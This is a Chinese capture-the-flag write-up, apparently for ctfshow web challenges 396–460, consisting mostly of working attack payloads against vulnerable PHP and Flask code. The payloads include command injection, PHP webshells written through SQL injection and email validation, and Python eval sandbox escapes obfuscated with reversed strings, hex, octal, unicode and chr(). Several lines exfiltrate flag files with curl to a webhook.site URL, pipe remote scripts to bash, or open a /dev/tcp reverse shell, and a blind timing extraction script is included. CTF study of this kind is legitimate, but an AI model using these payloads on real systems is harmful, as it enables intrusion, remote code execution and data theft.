文章目录
- 396——parse_url()
- 397——parse_url()
- 398~401
- 398~402
- 403
- 405
- 406——FILTER_VALIDATE_URL
- 407——FILTER_VALIDATE_IP
- 408——FILTER_VALIDATE_EMAIL
- 409——FILTER_VALIDATE_EMAIL
- 410、411——FILTER_VALIDATE_BOOLEAN
- 412
- 413
- 414
- 415
- 416
- 417
- 418——extract
- 419
- 420
- 421——五字符命令执行
- 422——四字符命令执行
- 423、424
- 431:
- 432
- 433
- 434
- 435、436
- 438
- 439
- 440
- 441
- 442
- 443、444
- 445、446
- 447
- 448
- 449
- 450、451
- 452
- 453~456
- 457
- 458
- 459
- 460
396——parse_url()
需要加上绝对路径
/?url=http://ls;echo `ls`/var/www/html/2.txt
/?url=http://ls;echo `cat f*`/var/www/html/3.txt
397——parse_url()
使用../
迁移目录
/?url=http://;echo `cat f*`/../var/www/html/1.txt
398~401
通杀了…
?url=http://`cat f*`/../var/www/html/7.txt
398~402
ban了http、https
那就换个协议头,比如ftp
?url=ftp://`cat f*`/../var/www/html/7.txt
403
<?php
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}
}else{
highlight_file(__FILE__);
}
这个正则表达是匹配IP地址的
可以在$url['path']
处使用;
另起一条命令
?url=http://100.100.100.100/;nl ./*>/var/www/html/2.txt
405
需要注意$url['host']
的正则少了^
和$
,那么就在这儿切入
if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
/?url=.http://119.29.60.71;cat f*>2.txt;/a
406——FILTER_VALIDATE_URL
require 'config.php';
//flag in db
highlight_file(__FILE__);
$url=$_GET['url'];
if(filter_var ($url,FILTER_VALIDATE_URL)){
$sql = "select * from links where url ='{$url}'";
$result = $conn->query($sql);
}else{
echo '不通过';
}
写马,然后蚁剑连接即可:
?url=0://1'/**/union/**/select/**/1,0x3c3f3d706870696e666f28293b3f3e/**/into/**/outfile/**/"/var/www/html/2.php"%23
407——FILTER_VALIDATE_IP
highlight_file(__FILE__);
error_reporting(0);
$ip=$_GET['ip'];
if(filter_var ($ip,FILTER_VALIDATE_IP)){
call_user_func($ip);
}
class cafe{
public static function add(){
echo file_get_contents('flag.php');
}
}
IPv6 地址表示为:__x:__x:__x:__x:__x:__x:__x:__x
,其中每个 x 是代表一个 4 位的十六进制数字
一般会使用双冒号(::
)代替一系列零来指定 IPv6 地址,例如ff06:0:0:0:0:0:0:c3
可写为ff06::c3
。
恰好静态函数的调用会用到::
?ip=cafe::add
408——FILTER_VALIDATE_EMAIL
highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
file_put_contents(explode('@', $email)[1], explode('@', $email)[0]);
}
也就是说需要将特殊字符写在双引号中
?email="<?=eval($_POST[2]);?>"@1.php
409——FILTER_VALIDATE_EMAIL
highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
$email=preg_replace('/.flag/', '', $email);
eval($email);
}
还是要将代码包裹在双引号中,但又要注意不得影响eval
的执行,
一开始这样的payload,但报错@
"echo`ls`;"@123.com
闭合一下php标签即可不包含@
以后的内容
"echo`ls`;?>"@123.com
但还是会报错,因为一开始的双引号没有闭合,导致php执行失败,但这里不能再添加多一个双引号去闭合了,否则过不了filter_var
,最后是结合替换为空的正则,将双引号替换掉即可
?email="flageval($_POST[1]);?>"@123.php
1=system("cat /f*");
410、411——FILTER_VALIDATE_BOOLEAN
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
if($b=='true' || intval($b)>0){
die('FLAG NOT HERE');
}else{
echo $flag;
}
}
关于FILTER_VALIDATE_BOOLEAN
可能的返回值:
如果是 "1", "true", "on" 以及 "yes",则返回 true。
如果是 "0", "false", "off", "no" 以及 "",则返回 false。
否则返回 NULL。
所以只要是on
、true
都能
412
//
是单行注释,利用换行符%0a
另起一行
ctfshow=%0aeval($_POST[1]);
又或者利用?>
闭合标签,注释符无法注释?>
ctfshow=?><?php eval($_POST[1]);?>
413
ctfshow=*/eval($_POST[1]);/*&1=system("cat f*");
414
?ctfshow=-9
415
php 大小写不敏感,PHP大小写是否敏感问题的汇总
首先你可以通过大小写绕过,因为函数名、类名是不区分大小写的
?k=Getflag
其次有一种东西叫命名空间,
如果没有定义任何命名空间,所有的类与函数的定义都是在全局空间,与 PHP 引入命名空间概念前一样。在名称前加上前缀
\
表示该名称是全局空间中的名称
只不过我们平时都会省略\
,\A()
与A()
指代的是同一个函数
?k=\getflag
416
ctf::flag
417
这题有点恶心,直接看师傅们的结果了,最后代码是这个
include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
echo $flag;
}else{
echo 'FLAG_NOT_HERE';
}
?>
418——extract
<?php
$key= 0;
$clear='clear.php';
highlight_file(__FILE__);
//获取参数
$ctfshow=$_GET['ctfshow'];
//包含清理脚本
include($clear);
extract($_POST);
if($key===0x36d){
//帮黑阔写好后门
eval('<?php '.$ctfshow.'?>');
}else{
$die?die('FLAG_NOT_HERE'):clear($clear);
}
function clear($log){
shell_exec('rm -rf '.$log);
}
一开始想着执行eval,但发现绕不过$key===0x36d
,原来是我们提交的$key类型是String型,在强等于情况下不可能与数字型相等,那么就是在shell_exec
处命令注入了
die=&clear=;nl *>/var/www/html/1.txt;
419
code=`nl *>1.txt`;
420
code=nl ../*
421——五字符命令执行
<?php
highlight_file(__FILE__);
$code = $_POST['code'];
if(strlen($code) < 6){
system($code);
}
依次执行以下,即可将当前目录所有文件写入1,利用的是linux文件排序的特性。
code=>cat
code=*>1
此外也可以使用ls -t
的方式绕过,我略了
422——四字符命令执行
code=>cat
code=*
flag在当前目录,也可以
code=nl *
423、424
SSTI,然后一直报错500,结果是因为代码中的return需要返回的是字符串。需要用str()
函数转
?code=str(''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__["po"+"pen"]("cat /f*").read())
如果知道文件名还可以直接open读取
?code=str(open('/flag').read())
还可以curl外带数据
?code=str(''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__["po"+"pen"]("curl https://webhook.site/40a774db-2951-45a3-b3f6-c07ca7b80384/?a=`cat /f*`"))
源码如下:
from flask import Flask
from flask import request
import os
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
web426:
reg = re.compile(r'os|popen')
if reg.match(code)==None:
return eval(code)
re.match()
是从字符串开头匹配的,所以只要payload不是os、popen
开头就不会匹配到,有点形同虚设
431:
if code:
reg = re.compile(r'os|open|system|read|eval|str')
if reg.match(code)==None:
return eval(code)
过滤了str
,但同样是用match
来匹配的,所以只需要在str前加个空格即可
?code= str(''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__["po"+"pen"]("nl *").read())
432
没有回显了,外带数据
?code= str(''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__["po"+"pen"]("curl https://webhook.site/40a774db-2951-45a3-b3f6-c07ca7b80384/?a=`cat /f*`"))
433
if code:
reg = re.compile(r'os|open|system|read|eval|builtins')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
可以反弹shell,在VPS上写个bash.txt:bash -c bash -i >/dev/tcp/119.1.1.1/7777 0>&1
str(''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__["po"+"pen"]("curl http://119.1.1.1/bash.txt|bash"))
搜集一下yu师傅的payload:
?code=str(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('curl https://webhook.site/40a774db-2951-45a3-b3f6-c07ca7b80384?p=`cat /f*`'))
搜集一下Y4师傅的payload:
?code=str(''.__class__.__bases__[0].__subclasses__()[185].__init__.__globals__['__buil''tins__']['__imp'+'ort__']('o'+'s').__dict__['pop'+'en']('curl https://webhook.site/40a774db-2951-45a3-b3f6-c07ca7b80384/?1=`cat /flag`'))
434
if code:
code = stringQ2B(code)
reg = re.compile(r'os|open|system|read|eval|builtins|curl')
if reg.search(code)==None:
return eval(code)
curl被过滤,用+
连接两个字符串
?code=str(''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__["po"+"pen"]("cu"+"rl http://119.29.60.1/bash.txt|bash"))
435、436
if code:
code = stringQ2B(code)
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr')
if reg.search(code)==None:
return eval(code)
方法一:
过滤了_
,这里学习下yu师傅的payload
str(exec(')"`*f/ tac`=p?7654:xxx//:ptth lruc"(metsys.so ;so tropmi'[::-1]))
主要是用到了[::-1]
反转字符从而绕过了很多关键字,此外用exec
代替eval、system实现命令执行,确实很巧妙,需要注意exec是不带回显的,因此还是要用外带的方式。
改成反弹shell的:
str(exec('xxxxxx'[::-1]))
即
?code=str(exec(')"hsab|txt.hsab/17.06.92.911//:ptth lruc"(metsys.so;so tropmi'[::-1]))
方法二:
此外看到Y4师傅用到了编码,突然想起用编码来绕关键字
# 生成 Unicode编码、16进制字符、8进制字符
input = input()
print("'", end="")
for letter in input:
#print(hex(ord(letter)).replace("0x", r"\x"), end="")
#print(hex(ord(letter)).replace("0x", r"\u00"), end="")
print(oct(ord(letter)).replace("0o", "\\"), end="")
print("'")
首先是unicode编码:例如 system
就等同于 \u0073ystem
?code=str(exec('import o\u0073;o\u0073.\u0073ystem("\u0063\u0075\u0072\u006c\u0020\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0031\u0031\u0039\u002e\u0032\u0039\u002e\u0036\u0030\u002e\u0037\u0031\u002f\u0062\u0061\u0073\u0068\u002e\u0074\u0078\u0074\u007c\u0062\u0061\u0073\u0068")'))
方法三:
那unicode编码都用上了,自然少不了16进制的绕过:
?code=str(exec('import o\x73;o\x73.\x73ystem("\x63\x75\x72\x6c\x20\x68\x74\x74\x70\x3a\x2f\x2f\x31\x31\x39\x2e\x32\x39\x2e\x36\x30\x2e\x37\x31\x2f\x62\x61\x73\x68\x2e\x74\x78\x74\x7c\x62\x61\x73\x68")'))
方法四:
那16进制用都上了,自然少不了8进制的绕过:
?code=str(exec('import o\163;o\163.\163ystem("\143\165\162\154\40\150\164\164\160\72\57\57\61\61\71\56\62\71\56\66\60\56\67\61\57\142\141\163\150\56\164\170\164\174\142\141\163\150")'))
方法五:
Y4师傅用chr()
得到字符与用+
对字符进行拼接,秒啊~
input = input()
print("'", end="")
res=''
for letter in input:
res += 'chr('+str(ord(letter))+')%2B'
print( res[:-3] + "'")
?code=str(exec(chr(105)%2Bchr(109)%2Bchr(112)%2Bchr(111)%2Bchr(114)%2Bchr(116)%2Bchr(32)%2Bchr(111)%2Bchr(115)%2Bchr(59)%2Bchr(111)%2Bchr(115)%2Bchr(46)%2Bchr(115)%2Bchr(121)%2Bchr(115)%2Bchr(116)%2Bchr(101)%2Bchr(109)%2Bchr(40)%2Bchr(34)%2Bchr(99)%2Bchr(117)%2Bchr(114)%2Bchr(108)%2Bchr(32)%2Bchr(104)%2Bchr(116)%2Bchr(116)%2Bchr(112)%2Bchr(58)%2Bchr(47)%2Bchr(47)%2Bchr(49)%2Bchr(49)%2Bchr(57)%2Bchr(46)%2Bchr(50)%2Bchr(57)%2Bchr(46)%2Bchr(54)%2Bchr(48)%2Bchr(46)%2Bchr(55)%2Bchr(49)%2Bchr(47)%2Bchr(98)%2Bchr(97)%2Bchr(115)%2Bchr(104)%2Bchr(46)%2Bchr(116)%2Bchr(120)%2Bchr(116)%2Bchr(124)%2Bchr(98)%2Bchr(97)%2Bchr(115)%2Bchr(104)%2Bchr(34)%2Bchr(41)))
438
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{')
if reg.search(code)==None:
return eval(code)
439
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
if '\\x' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{')
if reg.search(code)==None:
return eval(code)
可以用8进制的方式,可以反转绕过、可以chr()
绕过
440
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
if '\\x' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"')
if reg.search(code)==None:
return eval(code)
单双引号都没了,那就只能用chr
来得到任何字符,参考方法五
441
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
if '\\x' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+')
if reg.search(code)==None:
return eval(code)
过滤了+
,使用request
的属性,比如request.args.a
即request.args['a']
就获取参数a的值
?code=str(exec(request.args[chr(97)]))&a=__import__("os").system("curl http://119.29.60.71/bash.txt|bash")
442
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
if '\\x' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]')
if reg.search(code)==None:
return eval(code)
多过滤了数字,着实想不到…
羽师傅是利用request.method
的,这题request.method
自然是等于GET
,于是这样就得到了字符
str(exec(request.args.get(request.method)))&GET=import os;os.system("curl http://119.29.60.71/bash.txt|bash")
Y4师傅用了预定义常量:None
,不过需要str()
转成字符型
str(exec(request.args.get(str(True))))&True=import os;os.system("curl http://119.29.60.71/bash.txt|bash")
443、444
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
if '\\x' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request')
if reg.search(code)==None:
return eval(code)
request
被过滤 了
参考羽师傅的利用globals()
函数,globals()
函数以字典形式返回当前所有的全局变量,
直接str(globals())
打印所有全局变量,其中就包含request,位于第十一个,那么用str(list(globals().keys())[10])
就理应得到request
这个字符,但得到的字符并不具备属性,所以得从globas()里取key为request
的value值,也就是再套一个globals()
,也就是str(globals().get(list(globals().keys())[10]))
,所以现在只需凑出10即可,10可以这么得到:len(str(Flase))-(-len(str(Flase)))
,还可以:len(str(None))-(-len(str(None)))-(-True)-(-True)
最后的payload:
#GET
?None=import os;os.system("curl http://119.29.60.71/bash.txt|bash")
#POST
code=str(exec(globals().get(list(globals().keys())[len(str(None))-(-len(str(None)))-(-True)-(-True)]).args.get(str(None))))
或者只用True拼凑数字:
code=str(exec(globals().get(list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]).args.get(str(None))))
445、446
del os.system
del os.popen
多了这两行代码。既然system
和popen
不能用,可以尝试subprocess.popen
,注意 要加上shell=True
?None=import subprocess;subprocess.Popen('curl http://119.29.60.71/bash.txt|bash',shell=True)
code=str(exec(globals().get(list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]).args.get(str(None))))
此外还可以尝试imp
模块下的reload()
函数,用于重新载入之前载入的模块
?None=import imp; imp.reload(os);os.system("sleep 2")
code=str(exec(globals().get(list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]).args.get(str(None))))
447
from flask import Flask
from flask import request
import re
import os
import imp
del os.system
del os.popen
del imp.reload
import subprocess
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.getstatusoutput
del subprocess.getoutput
del subprocess.check_call
del subprocess.check_output
import timeit
del timeit.timeit
subprocess
没了,回到reload
,虽然删了imp.reload
,但imp.reload
的源码中是调用importlib.reload
所以我们直接导入importlib.reload
就可以绕过
?None=from importlib import reload;import os;reload(os);os.system("curl http://119.29.60.71/bash.txt|bash")
code=str(exec(globals().get(list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]).args.get(str(None))))
448
羽师傅是导入shutil模块进行文件操作,copy一份os.py,然后导入a即可,妙
?None=import shutil;shutil.copy("/usr/local/lib/python3.8/os.py","a.py");import a;a.system("curl http://119.29.60.71/bash.txt|bash")
code=str(exec(globals().get(list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]).args.get(str(None))))
Y4师傅是删除sys.modules['os']
,然后再重新导入,妙
?None=del sys.modules['os'];import os;os.system("sleep 5");
449
sys.modules['os']=None
sys.modules['imp']=None
sys.modules['subprocess']=None
sys.modules['socket']=None
sys.modules['timeit']=None
sys.modules['platform']=None
sys.modules['sys']=None
可以用urllib.request.urlopen
来代替curl
发送请求,同时用a=open('/flag')
即可读取flag
?None=s=open('/flag').read();import urllib;urllib.request.urlopen('https://webhook.site/40a774db-2951-45a3-b3f6-c07ca7b80384?a='%2bs)
Y4师傅还用到了延时盲注的方法
?None=a=open('/flag').read();import time;time.sleep(1) if a[0]=='c' else pass
import requests
import sys
letter = '1234567980abcdeftshow{-}'
flag = ''
for i in range(0,50):
for j in letter:
burp0_url = "http://dbd3df46-5e18-48fc-b7db-51be26492409.challenge.ctf.show:8080/?None=a=open('/flag').read();import time;time.sleep(1) if a[{}]=='{}' else pass".format(i,j)
burp0_cookies = {"UM_distinctid": "179e6638a1ca-0ea164658aa927-c791039-144000-179e6638a1d218"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://dbd3df46-5e18-48fc-b7db-51be26492409.challenge.ctf.show:8080", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://dbd3df46-5e18-48fc-b7db-51be26492409.challenge.ctf.show:8080/?None=a=open(%27/flag%27).read();import%20time;time.sleep(5)%20if%20a[0]==%22c%22%20else%202", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = {"code": "str(exec(globals().get(list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]).args.get(str(None))))"}
#print(burp0_url)
try:
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,timeout=1)
except Exception as e:
flag += j
print('[*]'+flag)
if j == '}':
sys.exit()
450、451
原理就是:两个相同的字符异或,那么底层结果得到的都是0,0再和另外一个字符异或,始终都会得到另外一个字符
?ctfshow=phpinfo^phpinfo^phpinfo
?ctfshow=dmindll^pmiinfo^dhpndll
452
简单的拼接
?ctfshow=(php.info)();
453~456
class ctf{
public function show($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
$response->end(file_get_contents($s));
}else{
$response->end('s not found');
}
}
public function file($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
file_put_contents('shell.php', $s);
$response->end('file write done in /var/www/shell.php');
}else{
$response->end('s not found');
}
}
public function exec($request,$response){
system('php shell.php');
$response->end('command exec done');
}
}
源码中的file用于往shell.php写内容,exec方法用于执行shell.php
/ctf/file
s=<?php system("curl http://webhook.site/40a774db-2951-45a3-b3f6-c07ca7b80384/?a=`cat f*`");?>
接着访问:/ctf/exec
457
就是要进入第二个分支,那么需要一个回调后能返回True
的函数,比如说phpinfo()、phpcredits()
他们的返回都是布尔类型
phpinfo(int $what = INFO_ALL): bool
458
巧的是执行语句的类名是admin
get_class(class name); //取得当前语句所在类的类名
?u=admin&p=get_class
459
用到了copy函数,虽然限定了后缀,但我们配合php://filter
进行base64编码即可
?u=flag.php&p=php://filter/convert.base64-encode/resource=1
460
不会…